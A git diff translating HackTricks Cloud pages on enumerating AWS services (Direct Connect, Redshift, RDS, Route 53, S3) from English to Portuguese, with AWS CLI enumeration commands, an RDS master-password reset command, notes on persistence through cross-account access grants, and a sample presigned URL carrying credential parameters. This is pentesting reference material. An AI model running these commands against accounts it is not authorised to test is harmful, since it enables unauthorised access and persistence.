d5cb84f1d..29255db11 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - Enumeração de Outros Serviços {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +Permite **conectar uma rede privada corporativa com a AWS** (para que você possa comprometer uma instância EC2 e acessar a rede corporativa). ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` +## Suporte -## Support - -In AWS you can access current and previous support cases via the API - +No AWS, você pode acessar casos de suporte atuais e anteriores via API ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..c3ba8eada 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift é um serviço totalmente gerenciado que pode escalar para mais de um petabyte em tamanho, utilizado como um **data warehouse para soluções de big data**. Usando clusters Redshift, você pode executar análises em seus conjuntos de dados usando ferramentas de consulta rápidas baseadas em SQL e aplicações de inteligência de negócios para obter uma maior compreensão da visão para o seu negócio. -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift oferece criptografia em repouso usando uma hierarquia de quatro camadas de chaves de criptografia, utilizando KMS ou CloudHSM para gerenciar o nível superior de chaves**. **Quando a criptografia é ativada para seu cluster, não pode ser desativada e vice-versa**. Quando você tem um cluster não criptografado, ele não pode ser criptografado. -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +A criptografia para seu cluster só pode ocorrer durante sua criação, e uma vez criptografados, os dados, metadados e quaisquer instantâneas também são criptografados. Os níveis de hierarquia das chaves de criptografia são os seguintes: **a camada um é a chave mestre, a camada dois é a chave de criptografia do cluster, a CEK, a camada três, a chave de criptografia do banco de dados, a DEK, e finalmente a camada quatro, as chaves de criptografia de dados em si**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Durante a criação do seu cluster, você pode selecionar a **chave KMS padrão** para Redshift ou selecionar sua **própria CMK**, o que lhe dá mais flexibilidade sobre o controle da chave, especificamente de uma perspectiva auditável. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +A chave KMS padrão para Redshift é criada automaticamente pelo Redshift na primeira vez que a opção de chave é selecionada e utilizada, e é totalmente gerenciada pela AWS. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Essa chave KMS é então criptografada com a chave mestre CMK, camada um. Essa chave de dados KMS criptografada é então usada como a chave de criptografia do cluster, a CEK, camada dois. Essa CEK é então enviada pelo KMS para o Redshift, onde é armazenada separadamente do cluster. O Redshift então envia essa CEK criptografada para o cluster através de um canal seguro, onde é armazenada na memória. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +O Redshift então solicita ao KMS para descriptografar a CEK, camada dois. Essa CEK descriptografada é então também armazenada na memória. O Redshift então cria uma chave de criptografia de banco de dados aleatória, a DEK, camada três, e a carrega na memória do cluster. A CEK descriptografada na memória então criptografa a DEK, que também é armazenada na memória. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +Essa DEK criptografada é então enviada através de um canal seguro e armazenada no Redshift separadamente do cluster. Tanto a CEK quanto a DEK agora estão armazenadas na memória do cluster, tanto em forma criptografada quanto descriptografada. A DEK descriptografada é então usada para criptografar chaves de dados, camada quatro, que são geradas aleatoriamente pelo Redshift para cada bloco de dados no banco de dados. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Você pode usar o AWS Trusted Advisor para monitorar a configuração dos seus buckets do Amazon S3 e garantir que o registro de bucket esteja ativado, o que pode ser útil para realizar auditorias de segurança e rastrear padrões de uso no S3. ### CloudHSM
-Using Redshift with CloudHSM +Usando Redshift com CloudHSM -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +Ao trabalhar com CloudHSM para realizar sua criptografia, primeiramente você deve configurar uma conexão confiável entre seu cliente HSM e o Redshift, utilizando certificados de cliente e servidor. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +Essa conexão é necessária para fornecer comunicações seguras, permitindo que chaves de criptografia sejam enviadas entre seu cliente HSM e seus clusters Redshift. Usando um par de chaves privada e pública gerado aleatoriamente, o Redshift cria um certificado de cliente público, que é criptografado e armazenado pelo Redshift. Este deve ser baixado e registrado no seu cliente HSM, e atribuído à partição HSM correta. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Você deve então configurar o Redshift com os seguintes detalhes do seu cliente HSM: o endereço IP do HSM, o nome da partição HSM, a senha da partição HSM e o certificado público do servidor HSM, que é criptografado pelo CloudHSM usando uma chave mestre interna. Uma vez que essas informações tenham sido fornecidas, o Redshift confirmará e verificará se pode conectar e acessar a partição de desenvolvimento. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Se suas políticas de segurança internas ou controles de governança ditarem que você deve aplicar rotação de chaves, então isso é possível com o Redshift, permitindo que você gire chaves de criptografia para clusters criptografados, no entanto, você deve estar ciente de que durante o processo de rotação de chaves, isso tornará um cluster indisponível por um período muito curto de tempo, e portanto, é melhor girar chaves apenas quando necessário, ou se você sentir que elas podem ter sido comprometidas. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Durante a rotação, o Redshift irá girar a CEK para seu cluster e para quaisquer backups desse cluster. Ele irá girar uma DEK para o cluster, mas não é possível girar uma DEK para as instantâneas armazenadas no S3 que foram criptografadas usando a DEK. Ele colocará o cluster em um estado de 'girando chaves' até que o processo seja concluído, quando o status retornará a 'disponível'.
-### Enumeration - +### Enumeração ```bash # Get clusters aws redshift describe-clusters @@ -82,22 +81,17 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## Persistência -The following actions allow to grant access to other AWS accounts to the cluster: +As seguintes ações permitem conceder acesso a outras contas AWS ao cluster: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..026b50658 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,77 +1,76 @@ -# AWS - Relational Database (RDS) Enum +# AWS - Enumeração de Banco de Dados Relacional (RDS) {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +O **Serviço de Banco de Dados Relacional (RDS)** oferecido pela AWS é projetado para simplificar a implantação, operação e escalabilidade de um **banco de dados relacional na nuvem**. Este serviço oferece as vantagens de eficiência de custo e escalabilidade, enquanto automatiza tarefas que consomem muito tempo, como provisionamento de hardware, configuração de banco de dados, aplicação de patches e backups. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +O AWS RDS suporta vários mecanismos de banco de dados relacionais amplamente utilizados, incluindo MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server e Amazon Aurora, com compatibilidade para MySQL e PostgreSQL. -Key features of RDS include: +As principais características do RDS incluem: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **Gerenciamento de instâncias de banco de dados** é simplificado. +- Criação de **réplicas de leitura** para melhorar o desempenho de leitura. +- Configuração de **implantações em múltiplas Zonas de Disponibilidade (AZ)** para garantir alta disponibilidade e mecanismos de failover. +- **Integração** com outros serviços da AWS, como: +- AWS Identity and Access Management (**IAM**) para controle de acesso robusto. +- AWS **CloudWatch** para monitoramento e métricas abrangentes. +- AWS Key Management Service (**KMS**) para garantir criptografia em repouso. -## Credentials +## Credenciais -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +Ao criar o cluster de DB, o **nome de usuário** mestre pode ser configurado (**`admin`** por padrão). Para gerar a senha deste usuário, você pode: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Indicar** uma **senha** você mesmo +- Dizer ao RDS para **gerar automaticamente** +- Dizer ao RDS para gerenciá-la no **AWS Secret Manager** criptografada com uma chave KMS
-### Authentication +### Autenticação -There are 3 types of authentication options, but using the **master password is always allowed**: +Existem 3 tipos de opções de autenticação, mas usar a **senha mestre é sempre permitido**:
-### Public Access & VPC +### Acesso Público & VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +Por padrão, **nenhum acesso público é concedido** aos bancos de dados, no entanto, **pode ser concedido**. Portanto, por padrão, apenas máquinas da mesma VPC poderão acessá-lo se o **grupo de segurança** selecionado (armazenado no EC2 SG) permitir. -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +Em vez de expor uma instância de DB, é possível criar um **RDS Proxy** que **melhora** a **escalabilidade** e **disponibilidade** do cluster de DB. -Moreover, the **database port can be modified** also. +Além disso, a **porta do banco de dados pode ser modificada** também. -### Encryption +### Criptografia -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**A criptografia é habilitada por padrão** usando uma chave gerenciada pela AWS (uma CMK pode ser escolhida em vez disso). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Ao habilitar sua criptografia, você está habilitando **criptografia em repouso para seu armazenamento, snapshots, réplicas de leitura e seus backups**. As chaves para gerenciar essa criptografia podem ser emitidas usando **KMS**.\ +Não é possível adicionar esse nível de criptografia após o seu banco de dados ter sido criado. **Isso deve ser feito durante sua criação**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +No entanto, existe uma **solução alternativa que permite criptografar um banco de dados não criptografado da seguinte forma**. Você pode criar um snapshot do seu banco de dados não criptografado, criar uma cópia criptografada desse snapshot, usar esse snapshot criptografado para criar um novo banco de dados e, finalmente, seu banco de dados estaria criptografado. -#### Transparent Data Encryption (TDE) +#### Criptografia de Dados Transparente (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +Além das capacidades de criptografia inerentes ao RDS no nível da aplicação, o RDS também suporta **mecanismos de criptografia adicionais em nível de plataforma** para proteger dados em repouso. Isso inclui **Criptografia de Dados Transparente (TDE)** para Oracle e SQL Server. No entanto, é crucial notar que, embora o TDE melhore a segurança ao criptografar dados em repouso, ele também pode **afetar o desempenho do banco de dados**. Esse impacto no desempenho é especialmente notável quando usado em conjunto com funções criptográficas do MySQL ou funções criptográficas do Microsoft Transact-SQL. -To utilize TDE, certain preliminary steps are required: +Para utilizar o TDE, certos passos preliminares são necessários: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Associação de Grupo de Opções**: +- O banco de dados deve estar associado a um grupo de opções. Grupos de opções servem como contêineres para configurações e recursos, facilitando o gerenciamento do banco de dados, incluindo melhorias de segurança. +- No entanto, é importante notar que os grupos de opções estão disponíveis apenas para mecanismos de banco de dados e versões específicas. +2. **Inclusão do TDE no Grupo de Opções**: +- Uma vez associado a um grupo de opções, a opção de Criptografia de Dados Transparente do Oracle precisa ser incluída nesse grupo. +- É essencial reconhecer que, uma vez que a opção TDE é adicionada a um grupo de opções, ela se torna uma característica permanente e não pode ser removida. +3. **Modos de Criptografia TDE**: +- O TDE oferece dois modos de criptografia distintos: +- **Criptografia de Tablespace TDE**: Este modo criptografa tabelas inteiras, proporcionando um escopo mais amplo de proteção de dados. +- **Criptografia de Coluna TDE**: Este modo foca na criptografia de elementos específicos e individuais dentro do banco de dados, permitindo um controle mais granular sobre quais dados são criptografados. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +Compreender esses pré-requisitos e as complexidades operacionais do TDE é crucial para implementar e gerenciar efetivamente a criptografia dentro do RDS, garantindo tanto a segurança dos dados quanto a conformidade com os padrões necessários. +### Enumeração ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### Escalação de Privilégios {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### Injeção SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Existem maneiras de acessar dados do DynamoDB com **sintaxe SQL**, portanto, **injeções SQL típicas também são possíveis**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..c047b3292 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 é um serviço web de **Sistema de Nomes de Domínio (DNS)** em nuvem.\ +Você pode criar verificações de **saúde para páginas da web** via Route53. -### IP-based routing +### Roteamento baseado em IP -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. - -### Enumeration +Isso é útil para ajustar seu roteamento DNS para tomar as melhores decisões de roteamento DNS para seus usuários finais.\ +O roteamento baseado em IP oferece a você a capacidade adicional de **otimizar o roteamento com base no conhecimento específico de sua base de clientes**. +### Enumeração ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..e8b776fe4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 é um serviço que permite que você **armazene grandes quantidades de dados**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 oferece várias opções para alcançar a **proteção** dos dados em repouso. As opções incluem **Permissão** (Política), **Criptografia** (Lado do Cliente e Lado do Servidor), **Versionamento de Bucket** e **exclusão baseada em MFA**. O **usuário pode habilitar** qualquer uma dessas opções para alcançar a proteção dos dados. A **replicação de dados** é uma funcionalidade interna da AWS onde **S3 replica automaticamente cada objeto em todas as Zonas de Disponibilidade** e a organização não precisa habilitá-la nesse caso. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +Com permissões baseadas em recursos, você pode definir permissões para subdiretórios do seu bucket separadamente. -### Bucket Versioning and MFA based delete +### Versionamento de Bucket e exclusão baseada em MFA -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Quando o versionamento de bucket está habilitado, qualquer ação que tenta alterar um arquivo dentro de um arquivo gerará uma nova versão do arquivo, mantendo também o conteúdo anterior do mesmo. Portanto, não sobrescreverá seu conteúdo. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Além disso, a exclusão baseada em MFA impedirá que versões de arquivos no bucket S3 sejam excluídas e também que o Versionamento de Bucket seja desativado, de modo que um atacante não poderá alterar esses arquivos. -### S3 Access logs +### Logs de Acesso do S3 -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +É possível **habilitar o login de acesso do S3** (que por padrão está desativado) para algum bucket e salvar os logs em um bucket diferente para saber quem está acessando o bucket (ambos os buckets devem estar na mesma região). -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### URLs Presignadas do S3 +É possível gerar uma URL presignada que pode ser usada para **acessar o arquivo especificado** no bucket. Uma **URL presignada se parece com isso**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +Uma URL pré-assinada pode ser **criada a partir do cli usando credenciais de um principal com acesso ao objeto** (se a conta que você usa não tiver acesso, uma URL pré-assinada mais curta será criada, mas será inútil) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> A única permissão necessária para gerar uma URL pré-assinada é a permissão que está sendo concedida, então para o comando anterior a única permissão necessária pelo principal é `s3:GetObject` +Também é possível criar URLs pré-assinadas com **outras permissões**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` +### Mecanismos de Criptografia do S3 -### S3 Encryption Mechanisms - -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK significa Chave de Criptografia de Dados** e é a chave que é sempre gerada e usada para criptografar dados.
-Server-side encryption with S3 managed keys, SSE-S3 +Criptografia do lado do servidor com chaves gerenciadas pelo S3, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Esta opção requer configuração mínima e toda a gestão das chaves de criptografia utilizadas é gerenciada pela AWS. Tudo o que você precisa fazer é **fazer o upload dos seus dados e o S3 cuidará de todos os outros aspectos**. Cada bucket em uma conta S3 é atribuído a uma chave de bucket. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Criptografia: +- Dados do objeto + DEK em texto simples criado --> Dados criptografados (armazenados dentro do S3) +- DEK em texto simples criado + Chave Mestra do S3 --> DEK criptografado (armazenado dentro do S3) e o texto simples é excluído da memória +- Descriptografia: +- DEK criptografado + Chave Mestra do S3 --> DEK em texto simples +- DEK em texto simples + Dados criptografados --> Dados do objeto -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Por favor, note que neste caso **a chave é gerenciada pela AWS** (rotação apenas a cada 3 anos). Se você usar sua própria chave, poderá rotacionar, desativar e aplicar controle de acesso.
-Server-side encryption with KMS managed keys, SSE-KMS +Criptografia do lado do servidor com chaves gerenciadas pelo KMS, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Este método permite que o S3 use o serviço de gerenciamento de chaves para gerar suas chaves de criptografia de dados. O KMS oferece uma flexibilidade muito maior sobre como suas chaves são gerenciadas. Por exemplo, você pode desativar, rotacionar e aplicar controles de acesso ao CMK, e ordenar contra seu uso usando o AWS Cloud Trail. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Criptografia: +- S3 solicita chaves de dados ao KMS CMK +- O KMS usa um CMK para gerar o par DEK em texto simples e DEK criptografado e os envia para o S3 +- O S3 usa a chave em texto simples para criptografar os dados, armazena os dados criptografados e a chave criptografada e exclui da memória a chave em texto simples +- Descriptografia: +- O S3 solicita ao KMS para descriptografar a chave de dados criptografada do objeto +- O KMS descriptografa a chave de dados com o CMK e a envia de volta ao S3 +- O S3 descriptografa os dados do objeto
-Server-side encryption with customer provided keys, SSE-C +Criptografia do lado do servidor com chaves fornecidas pelo cliente, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Esta opção oferece a oportunidade de fornecer sua própria chave mestra que você pode já estar usando fora da AWS. Sua chave fornecida pelo cliente seria então enviada com seus dados para o S3, onde o S3 realizaria a criptografia para você. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Criptografia: +- O usuário envia os dados do objeto + chave do cliente para o S3 +- A chave do cliente é usada para criptografar os dados e os dados criptografados são armazenados +- um valor HMAC salgado da chave do cliente também é armazenado para validação futura da chave +- a chave do cliente é excluída da memória +- Descriptografia: +- O usuário envia a chave do cliente +- A chave é validada contra o valor HMAC armazenado +- A chave fornecida pelo cliente é então usada para descriptografar os dados
